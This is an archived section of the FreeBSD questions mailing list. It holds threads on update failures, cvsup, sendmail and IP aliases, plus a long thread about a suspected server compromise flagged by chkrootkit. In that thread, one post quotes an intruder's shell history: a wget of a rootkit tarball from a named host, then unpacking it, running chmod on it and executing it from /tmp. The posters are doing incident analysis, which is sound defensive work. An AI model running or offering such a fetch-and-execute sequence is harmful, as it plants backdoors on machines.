using. And how those settings scale or depend on various configurations?
 
Googling, or Apache: Definitive Reference / Apache Cookbook do not seem to
provide any clues here :-(
 
Kind Regards,
Sander Holthaus
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: Infrared link for FreeBSD?

2005-02-09 Thread Luyt
On Tuesday 08 February 2005 22:42, John wrote:

 Does FreeBSD support the infrared link found in many laptops?  I have
 searched the handbook and release notes, and haven't found any
 mention of it (at least the way I was searching), so I thought
 I'd give it one last try here.

You might want to have a look at:

The 'birda' port - A set of utilities to communicate with IrDA devices over 
an IrDA port on a serial line.

   http://www.freebsdsoftware.org/ports.php?c=commsn=birda


Using infrared to connect a Palm to FreeBSD

   http://www.jeroen.se/articles/freebsd_palm_infrared.php

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: Electricity bill - OT

2005-02-09 Thread Louis LeBlanc
On 02/08/05 11:17 PM, Chad Leigh -- Shire.Net LLC sat at the `puter and typed:
 
 
 We are not talking about phones.

Yes, but are we still talking about FreeBSD?

-- 
Louis LeBlanc  FreeBSD-at-keyslapper-DOT-net
Fully Funded Hobbyist,   KeySlapper Extrordinaire :)
Please send off-list email to: leblanc at keyslapper d.t net
Key fingerprint = C5E7 4762 F071 CE3B ED51  4FB8 AF85 A2FE 80C8 D9A2

love, n.:
  When, if asked to choose between your lover
  and happiness, you'd skip happiness in a heartbeat.
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


security updates

2005-02-09 Thread Jeff Maxwell
I got this message today from cron, apparently my security update failed.
Any Idea how to resolve this. I am also get a similar message on a 5.3 box.
Fetching updates signature...
fetch: http://update.daemonology.net/i386/4.9/updates.sig: Not FoundError 
fetching updates

Jeff Maxwell
POS Department Manager
Uni-Marts, LLC
Voice   570-829-0888 Ext. 421
Fax 570-829-4390
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: httpd in /tmp - Sound advice sought

2005-02-09 Thread Redmond Militante
hi

[Tue, Feb 08, 2005 at 10:46:19AM -0600]
This one time, at band camp, Bret Walker said:

 Redmond-
 
 Here is the response I got from the list.
 
 I also found another file - shellbind.c - it's essentially this -
 http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-06/0073.html
 (although phpBB has never been installed).
 
 I had register_globals on in PHP for a month+ because a reservation system
 I was using required them.  I now know better.  We also had php errors set
 to display for a while as bugs were being worked out.
 
 The owner of this file is www, so it was put in /tmp by the apache daemon.
 I messed the file up trying to tar it, so I can't get a good md5.
 Register globals and php file uploads are both off now.  I don't think the
 system was compromised because anything written to /tmp (which is the temp
 dir php defaults to) could not be executed.
 
 Do you think we're safe to continue as is?


this person is telling you that slapper is nothing to worry about because it's 
a linux only virus - but if you didn't put httpd in /tmp then you should be 
worried about this situation.

this is probably your call what you want to do.
 
 Also, I would like to talk with you about what preventative measures you
 take with herald.  I know you run tripwire, but what else do you do on a
 regular basis?


one thing i do is i read /var/log/messages every day.  do you do that?

 
 Bret
 
 
 
 -Original Message-
 From: [EMAIL PROTECTED]
 [mailto:[EMAIL PROTECTED] On Behalf Of Mark A. Garcia
 Sent: Tuesday, February 08, 2005 9:57 AM
 To: Bret Walker
 Cc: freebsd-questions@freebsd.org
 Subject: Re: httpd in /tmp - Sound advice sought
 
 
 Bret Walker wrote:
 
 Last night, I ran chkrootkit and it gave me a warning about being
 infected with Slapper.  Slapper exploits vulnerabilities in OpenSSL up
 to version 0.96d or older on Linux systems.  I have only run 0.97d.
 The file that set chkrootkit off was httpd which was located in /tmp.
 /tmp is always mounted rw, noexec.
 
 I update my packages (which are installed via ports) any time there is
 a security update.  I'm running Apache 1.3.33/PHP 4.3.10/mod_ssl
 2.8.22/OpenSSL 0.97d on 4.10.  Register_globals was on in PHP for a
 couple of weeks, but the only code that required it to be on was in a
 .htaccess/SSL password protected directory.
 
 Tripwire didn't show anything that I noted as odd.  I reexamined the
 tripwire logs, which are e-mailed to an account off of the machine
 immediately after completion, and I don't
 see anything odd for the 3/4 days before or after the date on the file.
 (I don't scan /tmp)
 
 I stupidly deleted the httpd file from /tmp, which was smaller than the
 actual apache httpd.  And I don't back up /tmp.
 
 The only info I can find regarding this file being in /tmp pertains to
 Slapper.  Could something have copied a file there?  Could I have done
 it by mistake at some point - the server's been up ~60 days, plenty of
 time for me to forget something?
 
 This is production box that I very much want to keep up, so I'm seeking
 some sound advice.
 
 Does this box need to be rebuilt?  How could a file get written to
 /tmp, and is it an issue since it couldn't be executed?  I run tripwire
 nightly, and haven't seen anything odd to the best of my recollection.
 I also check ipfstat -t frequently to see if any odd connections are
 happening.
 
 I appreciate any sound advice on this matter.
 
 Thanks,
 Bret
 
 
 Slapper is a linux only virus.  You shouldn't have to worry about it
 doing harm on your freebsd machine.  Seeing as the binary was in your
 tmp directory on your system, and that you might have not placed it
 there, this could be a good reason for a host of other things to look
 into.  The httpd binary with 96d= ssl is not a virus itself, just a
 means to carry out the exploit.  The slapper virus is a bunch of c-code
 that is put in your tmp directory and the exploit allows one to compile,
 chmod, and execute the code, leaving open a backdoor.
 
 chrootkit does scan for the comparable scalper virus which is a freebsd
 cousin to the slapper (in that they attempt to exploit the machine via
 the apache conduit.)
 
 I would think real hard, if you did put the httpd binary in there.  If
 you are sure you didn't, and you are the only one with access to the
 system, then I would be very very worried.  Running tripwire and
 chrootkit on a periodic basis should help.  Re-installing the os isn't
 your only solution, but it does give comfort knowing that after a
 reinstall, and locking down the box, no one has a in on your system.
 This could be overboard though.
 
 You also might want to consider enabling the clean_tmp scripts.  Next
 time tar up those suspicious files, a quick forensics on them can do
 wonders (md5sum, timestamps, ownership, permissions.)
 
 Cheers,
 -.mag
 ___
 freebsd-questions@freebsd.org mailing list
 http://lists.freebsd.org/mailman/listinfo/freebsd-questions
 To 

Re: httpd in /tmp - Sound advice sought

2005-02-09 Thread Redmond Militante
[Tue, Feb 08, 2005 at 01:43:36PM -0600]
This one time, at band camp, Bret Walker said:

 I do read it, but not every day (weekends, especially).


i use logcheck to mail me the messages log every 15 mins
 
 Do you have a way for suspicious activity to be reported to you?


logcheck, and portsentry as well
 
 Also, I'm tarring /usr and am going to run a diff on it compared to a
 clean install.

 Bret
 
 -Original Message-
 From: Redmond Militante [mailto:[EMAIL PROTECTED] 
 Sent: Tuesday, February 08, 2005 1:45 PM
 To: Bret Walker
 Subject: Re: httpd in /tmp - Sound advice sought
 
 
 hi
 
 [Tue, Feb 08, 2005 at 10:46:19AM -0600]
 This one time, at band camp, Bret Walker said:
 
  Redmond-
  
  Here is the response I got from the list.
  
  I also found another file - shellbind.c - it's essentially this - 
  http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-06/0073.html
  (although phpBB has never been installed).
  
  I had register_globals on in PHP for a month+ because a reservation 
  system I was using required them.  I now know better.  We also had php 
  errors set to display for a while as bugs were being worked out.
  
  The owner of this file is www, so it was put in /tmp by the apache 
  daemon. I messed the file up trying to tar it, so I can't get a good 
  md5. Register globals and php file uploads are both off now.  I don't 
  think the system was compromised because anything written to /tmp 
  (which is the temp dir php defaults to) could not be executed.
  
  Do you think we're safe to continue as is?
 
 
 this person is telling you that slapper is nothing to worry about because
 it's a linux only virus - but if you didn't put httpd in /tmp then you
 should be worried about this situation.
 
 this is probably your call what you want to do.
  
  Also, I would like to talk with you about what preventative measures 
  you take with herald.  I know you run tripwire, but what else do you 
  do on a regular basis?
 
 
 one thing i do is i read /var/log/messages every day.  do you do that?
 
  
  Bret
  
  
  
  -Original Message-
  From: [EMAIL PROTECTED]
  [mailto:[EMAIL PROTECTED] On Behalf Of Mark A. 
  Garcia
  Sent: Tuesday, February 08, 2005 9:57 AM
  To: Bret Walker
  Cc: freebsd-questions@freebsd.org
  Subject: Re: httpd in /tmp - Sound advice sought
  
  
  Bret Walker wrote:
  
  Last night, I ran chkrootkit and it gave me a warning about being 
  infected with Slapper.  Slapper exploits vulnerabilities in OpenSSL 
  up to version 0.96d or older on Linux systems.  I have only run 
  0.97d. The file that set chkrootkit off was httpd which was located 
  in /tmp. /tmp is always mounted rw, noexec.
  
  I update my packages (which are installed via ports) any time there 
  is a security update.  I'm running Apache 1.3.33/PHP 4.3.10/mod_ssl 
  2.8.22/OpenSSL 0.97d on 4.10.  Register_globals was on in PHP for a 
  couple of weeks, but the only code that required it to be on was in a 
  .htaccess/SSL password protected directory.
  
  Tripwire didn't show anything that I noted as odd.  I reexamined the 
  tripwire logs, which are e-mailed to an account off of the machine 
  immediately after completion, and I don't see anything odd for the 
  3/4 days before or after the date on the file. (I don't scan /tmp)
  
  I stupidly deleted the httpd file from /tmp, which was smaller than 
  the actual apache httpd.  And I don't back up /tmp.
  
  The only info I can find regarding this file being in /tmp pertains 
  to Slapper.  Could something have copied a file there?  Could I have 
  done it by mistake at some point - the server's been up ~60 days, 
  plenty of time for me to forget something?
  
  This is production box that I very much want to keep up, so I'm 
  seeking some sound advice.
  
  Does this box need to be rebuilt?  How could a file get written to 
  /tmp, and is it an issue since it couldn't be executed?  I run 
  tripwire nightly, and haven't seen anything odd to the best of my 
  recollection. I also check ipfstat -t frequently to see if any odd 
  connections are happening.
  
  I appreciate any sound advice on this matter.
  
  Thanks,
  Bret
  
  
  Slapper is a linux only virus.  You shouldn't have to worry about it 
  doing harm on your freebsd machine.  Seeing as the binary was in your 
  tmp directory on your system, and that you might have not placed it 
  there, this could be a good reason for a host of other things to look 
  into.  The httpd binary with 96d= ssl is not a virus itself, just a 
  means to carry out the exploit.  The slapper virus is a bunch of 
  c-code that is put in your tmp directory and the exploit allows one to 
  compile, chmod, and execute the code, leaving open a backdoor.
  
  chrootkit does scan for the comparable scalper virus which is a 
  freebsd cousin to the slapper (in that they attempt to exploit the 
  machine via the apache conduit.)
  
  I would think real hard, if you did put the httpd binary in there.  If 
  you 

Re: httpd in /tmp - Sound advice sought

2005-02-09 Thread Redmond Militante
ok

[Tue, Feb 08, 2005 at 02:40:19PM -0600]
This one time, at band camp, Bret Walker said:

 Thanks.
 Could you send me your conf file for portsentry so I can see how you do
 it?
 Bret
 
 -Original Message-
 From: Redmond Militante [mailto:[EMAIL PROTECTED]
 Sent: Tuesday, February 08, 2005 2:21 PM
 To: Bret Walker
 Subject: Re: httpd in /tmp - Sound advice sought
 
 
 [Tue, Feb 08, 2005 at 01:43:36PM -0600]
 This one time, at band camp, Bret Walker said:
 
  I do read it, but not every day (weekends, especially).
 
 
 i use logcheck to mail me the messages log every 15 mins
 
  Do you have a way for suspicious activity to be reported to you?
 
 
 logcheck, and portsentry as well
 
  Also, I'm tarring /usr and am going to run a diff on it compared to a
  clean install.
 
  Bret
 
  -Original Message-
  From: Redmond Militante [mailto:[EMAIL PROTECTED]
  Sent: Tuesday, February 08, 2005 1:45 PM
  To: Bret Walker
  Subject: Re: httpd in /tmp - Sound advice sought
 
 
  hi
 
  [Tue, Feb 08, 2005 at 10:46:19AM -0600]
  This one time, at band camp, Bret Walker said:
 
   Redmond-
  
   Here is the response I got from the list.
  
   I also found another file - shellbind.c - it's essentially this -
   http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-06/0073.html
   (although phpBB has never been installed).
  
   I had register_globals on in PHP for a month+ because a reservation
   system I was using required them.  I now know better.  We also had php
 
   errors set to display for a while as bugs were being worked out.
  
   The owner of this file is www, so it was put in /tmp by the apache
   daemon. I messed the file up trying to tar it, so I can't get a good
   md5. Register globals and php file uploads are both off now.  I don't
   think the system was compromised because anything written to /tmp
   (which is the temp dir php defaults to) could not be executed.
  
   Do you think we're safe to continue as is?
  
 
  this person is telling you that slapper is nothing to worry about
  because it's a linux only virus - but if you didn't put httpd in /tmp
  then you should be worried about this situation.
 
  this is probably your call what you want to do.
 
   Also, I would like to talk with you about what preventative measures
   you take with herald.  I know you run tripwire, but what else do you
   do on a regular basis?
  
 
  one thing i do is i read /var/log/messages every day.  do you do that?
 
 
   Bret
  
  
  
   -Original Message-
   From: [EMAIL PROTECTED]
   [mailto:[EMAIL PROTECTED] On Behalf Of Mark A.
   Garcia
   Sent: Tuesday, February 08, 2005 9:57 AM
   To: Bret Walker
   Cc: freebsd-questions@freebsd.org
   Subject: Re: httpd in /tmp - Sound advice sought
  
  
   Bret Walker wrote:
  
   Last night, I ran chkrootkit and it gave me a warning about being
   infected with Slapper.  Slapper exploits vulnerabilities in OpenSSL
   up to version 0.96d or older on Linux systems.  I have only run
   0.97d. The file that set chkrootkit off was httpd which was located
   in /tmp. /tmp is always mounted rw, noexec.
   
   I update my packages (which are installed via ports) any time there
   is a security update.  I'm running Apache 1.3.33/PHP 4.3.10/mod_ssl
   2.8.22/OpenSSL 0.97d on 4.10.  Register_globals was on in PHP for a
   couple of weeks, but the only code that required it to be on was in a
 
   .htaccess/SSL password protected directory.
   
   Tripwire didn't show anything that I noted as odd.  I reexamined
   the
   tripwire logs, which are e-mailed to an account off of the machine
   immediately after completion, and I don't see anything odd for the
   3/4 days before or after the date on the file. (I don't scan /tmp)
   
   I stupidly deleted the httpd file from /tmp, which was smaller than
   the actual apache httpd.  And I don't back up /tmp.
   
   The only info I can find regarding this file being in /tmp pertains
   to Slapper.  Could something have copied a file there?  Could I have
   done it by mistake at some point - the server's been up ~60 days,
   plenty of time for me to forget something?
   
   This is production box that I very much want to keep up, so I'm
   seeking some sound advice.
   
   Does this box need to be rebuilt?  How could a file get written to
   /tmp, and is it an issue since it couldn't be executed?  I run
   tripwire nightly, and haven't seen anything odd to the best of my
   recollection. I also check ipfstat -t frequently to see if any odd
   connections are happening.
   
   I appreciate any sound advice on this matter.
   
   Thanks,
   Bret
   
   
   Slapper is a linux only virus.  You shouldn't have to worry about it
   doing harm on your freebsd machine.  Seeing as the binary was in your
   tmp directory on your system, and that you might have not placed it
   there, this could be a good reason for a host of other things to look
   into.  The httpd binary with 96d= ssl is not a virus itself, just a
   means to 

RE: security updates

2005-02-09 Thread Sander Holthaus - Orange XL
 I got this message today from cron, apparently my security 
 update failed.
 
 Any Idea how to resolve this. I am also get a similar message 
 on a 5.3 box.
 
 
 Fetching updates signature...
 fetch: http://update.daemonology.net/i386/4.9/updates.sig: 
 Not FoundError fetching updates
 
 
 Jeff Maxwell
 POS Department Manager
 Uni-Marts, LLC
 Voice   570-829-0888 Ext. 421
 Fax 570-829-4390

From their main site (http://update.daemonology.net/):

Due to hardware failures, update.daemonology.net is currently
unavailable. FreeBSD Update will be back online sometime soon 

Kind Regards,
Sander Holthaus

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: security updates

2005-02-09 Thread Erik Norgaard
Jeff Maxwell wrote:
I got this message today from cron, apparently my security update failed.
Any Idea how to resolve this. I am also get a similar message on a 5.3 box.
Fetching updates signature...
fetch: http://update.daemonology.net/i386/4.9/updates.sig: Not 
FoundError fetching updates
It appears that you are running a custom update script, would help if 
you published it. And try run it by hand, it should be located in 
/etc/periodic/security or similar. Then send whatever debug info you can 
deduce from the output.

Cheers, Erik
--
Ph: +34.666334818   web: http://www.locolomo.org
S/MIME Certificate: http://www.locolomo.org/crt/2004071206.crt
Subject ID:  A9:76:7A:ED:06:95:2B:8D:48:97:CE:F2:3F:42:C8:F2:22:DE:4C:B9
Fingerprint: 4A:E8:63:38:46:F6:9A:5D:B4:DC:29:41:3F:62:D3:0A:73:25:67:C2
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: php4-extentions

2005-02-09 Thread Chris Knipe
TY.
- Original Message - 
From: Cezar Fistik [EMAIL PROTECTED]
To: freebsd-questions@freebsd.org
Sent: Wednesday, February 09, 2005 2:29 PM
Subject: Re: php4-extentions


Hi,
Try 'make config' in php-extesions port's directory.
regards,
Cezar
- Original Message - 
From: Chris Knipe [EMAIL PROTECTED]
To: freebsd-questions@freebsd.org
Sent: Wednesday, February 09, 2005 1:50 AM
Subject: php4-extentions


===  Vulnerability check disabled, database not found
===  Found saved configuration for php4-extensions-1.0
===  Extracting for php4-extensions-1.0
Where's the configuration saved? I need to reconfigure it..
--
Chris.
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to
[EMAIL PROTECTED]


___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to 
[EMAIL PROTECTED]

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: security updates

2005-02-09 Thread Kevin Kinsey
Jeff Maxwell wrote:
I got this message today from cron, apparently my security update failed.
Any Idea how to resolve this. I am also get a similar message on a 5.3 
box.

Fetching updates signature...
fetch: http://update.daemonology.net/i386/4.9/updates.sig: Not 
FoundError fetching updates

Jeff Maxwell

Looks like Colin is having some troubles with his servers or hosting 
company:

%lynx www.daemonology.net
Due to hardware failures, daemonology.net is currently unavailable. 
Portsnap users: Assuming the dns
  magic works, portsnap should start operating correctly soon. FreeBSD 
Update users: I need to upload
  a bunch of files to the location where I'm temporarily hosting the 
update.daemonology.net domain --
  this should be done on Wednesday or Thursday. Everybody else looking 
for content here: I'm currently
  looking for a new permanent home for this site... recommendations for 
*low cost* dedicated servers
  (or even better, a donated server) are welcome. Contact me at my 
freebsd.org address --
  daemonology.net email is currently broken.

Kevin Kinsey
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


About cvsup

2005-02-09 Thread Soheil Hassas Yeganeh
Dear All,

Some newbie question to ask:
I want to update my kernel sources on 5.3-Release.
I have used cvsup with src-sys uncommented on the supfile. After it
finishes its job, it just creates the ,v and Attic files and  no
update is happend on my sources. There are even new files (,v) and no
file creation is happend.
 
I just see the ,v files when cvsup finishes its jobs and says finished
successfully. And in the ,v file i can see the changes.

What i can do to update my kernel files? Did I have to build the world ?


Best Regards,
Soheil
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: 16MB memory requirement for 5.3 install (Re: cracked outfloppy install)

2005-02-09 Thread Ramiro Aceves
Submitted PR is  docs/77304
Regards
Ramiro
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: About cvsup

2005-02-09 Thread Erik Norgaard
Soheil Hassas Yeganeh wrote:
Dear All,
Some newbie question to ask:
I want to update my kernel sources on 5.3-Release.
I have used cvsup with src-sys uncommented on the supfile. After it
finishes its job, it just creates the ,v and Attic files and  no
update is happend on my sources. There are even new files (,v) and no
file creation is happend.
 
I just see the ,v files when cvsup finishes its jobs and says finished
successfully. And in the ,v file i can see the changes.

What i can do to update my kernel files? Did I have to build the world ?
You didn't set tag, eg. tag=RELENG_5 without a tag cvsup will fetch you 
a copy of the repository rather than a snapshot (AFAIK). Also, you may 
prefer to cvsup src-all rather than just src-sys to get sources for 
building world.

Cheers, Erik
--
Ph: +34.666334818   web: http://www.locolomo.org
S/MIME Certificate: http://www.locolomo.org/crt/2004071206.crt
Subject ID:  A9:76:7A:ED:06:95:2B:8D:48:97:CE:F2:3F:42:C8:F2:22:DE:4C:B9
Fingerprint: 4A:E8:63:38:46:F6:9A:5D:B4:DC:29:41:3F:62:D3:0A:73:25:67:C2
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: cracked out floppy install

2005-02-09 Thread Mark Ovens
daniel wrote:
On February 7, 2005 10:40 pm, Chris Hill wrote:
On Mon, 7 Feb 2005, daniel wrote:
 i've been trying to install freebsd-5.3RELEASE on this old computer on
 and off for days now.  i downloaded the floppies, watched the thing
 boot and each and every time, it'll get to the little beastie prompt
 where it counts down and is *supposed* to run sysinst but instead, it
 just reboots!
That's just peculiar. Maybe you need more RAM? Couldn't hurt, anyway.
The 16M you cite below seems a bit meager.
well the handbook says freebsd5 has a minimum requirement of 8mb, so 16 should 
be fine.  but even if it weren't, you'd think there'd be some form of useful 
error message instead of just rebooting.  it just makes no sense.

Interestingly, the Installation Notes for 4.11-R, 
http://www.freebsd.org/releases/4.11R/installation-i386.html state, in 
section 1.2 Hardware Requirements, The sysinstall(8) installation 
program requires 16MB of RAM

Does sysinstall in 5.3 _really_ need half the RAM that 4.11 requires? I 
find that hard to believe.

Mark
---
avast! Antivirus: Outbound message clean.
Virus Database (VPS): 0506-0, 08/02/2005
Tested on: 09/02/2005 14:51:07
avast! - copyright (c) 2000-2004 ALWIL Software.
http://www.avast.com

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: httpd in /tmp - Sound advice sought

2005-02-09 Thread Oliver Leitner
i know a certain hacking group who is trying to run their trojan as httpd, i 
discovered that info through some shell account i am running, that has tried 
to start this rootkit on our machine.

heres a short view from the shell's history:

-
wget geocities.com/setan_maya/taek.tar.gz
cd ..
ls
cd ..
ls
cd tmp
ls
wget geocities.com/setan_maya/taek.tar.gz
tar zxvf taek.tar.gz
ls
cd taek
./httpd
chmod 755 httpd
./httpd
ls
cd ..
rm -rf taek
rm taek.tar.gz 
---

this clearly shows, that we have to do with a very dumb person, hence he

1. didnt cleaned his historyfile
2. left the tar.gz file in his homedir
3. loaded the rootkit from the same server he is running the group's webpage 
on.
4. has a link to their chan on that page, and in the chan as ive monitored 
for 48hrs, ive found them posting their successes directly and unencrypted.

I have informed a number of providers and hosters, that had their webpage 
posted into that chan, and informed them about the breakins, so far i got no 
message back from them.

of course, its a longshot, but they didnt seem to check first if the folder 
tmp has the executable bit set at all, and they named their client like the 
file youve found.

i hope this helps you further.

Greetings
Oliver Leitner
Technical Staff
http://www.shells.at

On Tuesday 08 February 2005 14:35, Bret Walker wrote:
 Last night, I ran chkrootkit and it gave me a warning about being infected
 with Slapper.  Slapper exploits vulnerabilities in OpenSSL up to version
 0.96d or older on Linux systems.  I have only run 0.97d.  The file that
 set chkrootkit off
 was httpd which was located in /tmp.  /tmp is always mounted rw, noexec.

 I update my packages (which are installed via ports) any time there is a
 security update.  I'm running Apache 1.3.33/PHP 4.3.10/mod_ssl
 2.8.22/OpenSSL 0.97d on 4.10.  Register_globals was on in PHP for a couple
 of
 weeks, but the only code that required it to be on was in a .htaccess/SSL
 password protected directory.

 Tripwire didn't show anything that I noted as odd.  I reexamined the
 tripwire logs,
 which are e-mailed to an account off of the machine immediately after
 completion, and I don't
 see anything odd for the 3/4 days before or after the date on the file.
 (I don't scan /tmp)

 I stupidly deleted the httpd file from /tmp, which was smaller than the
 actual apache httpd.  And I don't back up /tmp.

 The only info I can find regarding this file being in /tmp pertains to
 Slapper.  Could something have copied a file there?  Could I have done it
 by mistake at some point - the server's been up ~60 days, plenty of time
 for me to forget something?

 This is production box that I very much want to keep up, so I'm seeking
 some sound advice.

 Does this box need to be rebuilt?  How could a file get written to /tmp,
 and is it an issue since it couldn't be executed?  I run tripwire nightly,
 and haven't seen anything odd to the best of my recollection.  I also
 check ipfstat -t frequently to see if any odd connections are happening.

 I appreciate any sound advice on this matter.

 Thanks,
 Bret

-- 
By reading this mail you agree to the following:

using or giving out the email address and any 
other info of the author of this email is strictly forbidden.
By acting against this agreement the author of this mail 
will take possible legal actions against the abuse.
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


[OT] easy authpf access from Windows (for non-unix users)?

2005-02-09 Thread Andrew L. Gould
Is anyone running authpf with Windows clients in the network?  If so, 
how are the Windows clients logging in?  What's the easiest mechanism 
for this.

I want my grandson to have free access to the (Windows) computers; but I 
want an adult to manually authorize internet access to prevent 
unsupervised surfing.

Thanks,

Andrew Gould

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


single box handling multiple ips, how?

2005-02-09 Thread Ken Hawkins
Sorry if this is not quite the place to ask however, if it is not can
someone point me toward the right resource (on the net) for answers. I
am
running FreeBSD on a box with an ethernet;
ifconfig
em0: flags=8843UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST mtu 1500
options=1bRXCSUM,TXCSUM,VLAN_MTU,VLAN_HWTAGGING
inet ???.???.???.151 netmask 0x broadcast 10.50.255.255
inet6 fe80::230:48ff:fe2c:76e2%em0 prefixlen 64 scopeid 0x1
inet ???.???.???.152 netmask 0x broadcast 10.50.1.152
inet ???.???.???.153 netmask 0x broadcast 10.50.1.153
ether 00:30:48:2c:76:e2
media: Ethernet 100baseTX full-duplex
status: active
the ??? are just our ips. you will notice that .152 and .153 are
aliases
and are mapped to external ips via a switch. my question is how can I
resolve names to the ip aliases on the box? ie
???.???.???.152 - a.net
and
???.???.???.153 - b.net
is this a /etc/hosts kind of entry?
???.???.???.152web1.a.net web1
???.???.???.152web1.a.net.
???.???.???.153web1.b.net web1
???.???.???.153web1.b.net.
any help would be greatly appreciated!
ken;
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: About cvsup

2005-02-09 Thread Erik Norgaard
Soheil Hassas Yeganeh wrote:
I want the head version, What tag should i set for the head version
I want to update my kernel sources on 5.3-Release.
The handbook has a list of cvs tags in the appendix. You will want 
RELENG_5_3 or RELENG_5, choosing the latter and updating regularly will 
give a gradual upgrade.

You probably don't want . which is CURRENT, the bleeding edge (aka 
6.0-CURRENT), and may give you some surprises. The tag HEAD is a 
symbolic reference to .. At least, I suggest you wait jumping head 
first till you feel comfortable with the whole process.

Cheers, Erik
--
Ph: +34.666334818   web: http://www.locolomo.org
S/MIME Certificate: http://www.locolomo.org/crt/2004071206.crt
Subject ID:  A9:76:7A:ED:06:95:2B:8D:48:97:CE:F2:3F:42:C8:F2:22:DE:4C:B9
Fingerprint: 4A:E8:63:38:46:F6:9A:5D:B4:DC:29:41:3F:62:D3:0A:73:25:67:C2
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


sendmail issue

2005-02-09 Thread saravanan ganapathy
Hai ,

I am using 5.3 release with updated all the ports.

I am facing a problem with sendmail.

# pkg_info | grep sendmail
sendmail-8.13.3 Reliable,
# /usr/local/etc/rc.d/sendmail.sh start 
# netstat -an | grep 25
tcp60  0  *.25 *.* LISTEN
tcp40  0  *.25 *.* LISTEN
# telnet 127.0.0.1 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'
220 ESMTP Sendmail 8.13.3/8.13.1;

It works fine. But I also found that another sendmail
which is in /etc/rc.d/sendmail

If I do 
# /etc/rc.d/sendmail start

Then this also create a new socket as

#netstat -an | grep 25
tcp40  0  127.0.0.1.25  *.*LISTEN
tcp60  0  *.25 *.* LISTEN
tcp40  0  *.25 *.* LISTEN

If I do again 

# telnet 127.0.0.1 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'
220 ESMTP Sendmail 8.13.1/8.13.1;

How two sendmail(8.13.1  8.13.3) installed in my
system? 
If I remove sendmail-8.13.3 using pkg_deinstall,
pkg_info shows no sendmail. But still I can start
/etc/rc.d/sendmail. 

What may be the problem?

Please help me

Sarav




__
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: sendmail issue

2005-02-09 Thread Emanuel Strobl
Am Mittwoch, 9. Februar 2005 16:15 schrieb saravanan ganapathy:
 Hai ,

 I am using 5.3 release with updated all the ports.

 I am facing a problem with sendmail.

 # pkg_info | grep sendmail
 sendmail-8.13.3 Reliable,
 # /usr/local/etc/rc.d/sendmail.sh start
 # netstat -an | grep 25
 tcp60  0  *.25 *.* LISTEN
 tcp40  0  *.25 *.* LISTEN
 # telnet 127.0.0.1 25
 Trying 127.0.0.1...
 Connected to localhost.
 Escape character is '^]'
 220 ESMTP Sendmail 8.13.3/8.13.1;

 It works fine. But I also found that another sendmail
 which is in /etc/rc.d/sendmail

Sendmail is part of the FreeBSD base system. I don't know if the prot disables 
the base sendmail, you can always add 'sendmail_enable=NONE' to 
your /etc/rc.conf.

-Harry


 If I do
 # /etc/rc.d/sendmail start

 Then this also create a new socket as

 #netstat -an | grep 25
 tcp40  0  127.0.0.1.25  *.*LISTEN
 tcp60  0  *.25 *.* LISTEN
 tcp40  0  *.25 *.* LISTEN

 If I do again

 # telnet 127.0.0.1 25
 Trying 127.0.0.1...
 Connected to localhost.
 Escape character is '^]'
 220 ESMTP Sendmail 8.13.1/8.13.1;

 How two sendmail(8.13.1  8.13.3) installed in my
 system?
 If I remove sendmail-8.13.3 using pkg_deinstall,
 pkg_info shows no sendmail. But still I can start
 /etc/rc.d/sendmail.

 What may be the problem?

 Please help me

 Sarav




 __
 Do You Yahoo!?
 Tired of spam?  Yahoo! Mail has the best spam protection around
 http://mail.yahoo.com
